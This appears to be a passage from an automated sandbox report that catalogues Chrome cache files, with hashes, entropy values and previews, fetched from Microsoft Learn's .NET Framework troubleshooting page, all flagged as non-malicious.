Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195740
Entropy (8bit):	5.430025391478659
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli/:Wof3G0NSkNzMeO7z/l3l2
MD5:	D82F4F5987237E395E490E03D4BE6149
SHA1:	5AC34F59A61D63992B9E879641E4BE0B0EC102E2
SHA-256:	27D8C10911B83F10EB6D8CA6AFE8CFD930F2310D3970B50DBADFC5777D1AA6B2
SHA-512:	33E2378B78FFD3E5C9D101CEFAC955D245F693868BB73DAC536D508B85154C0A531C0AE03F838F924F7AB420E3B5C0D9F7FD7A3A62E9E8994E883658D67B169C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
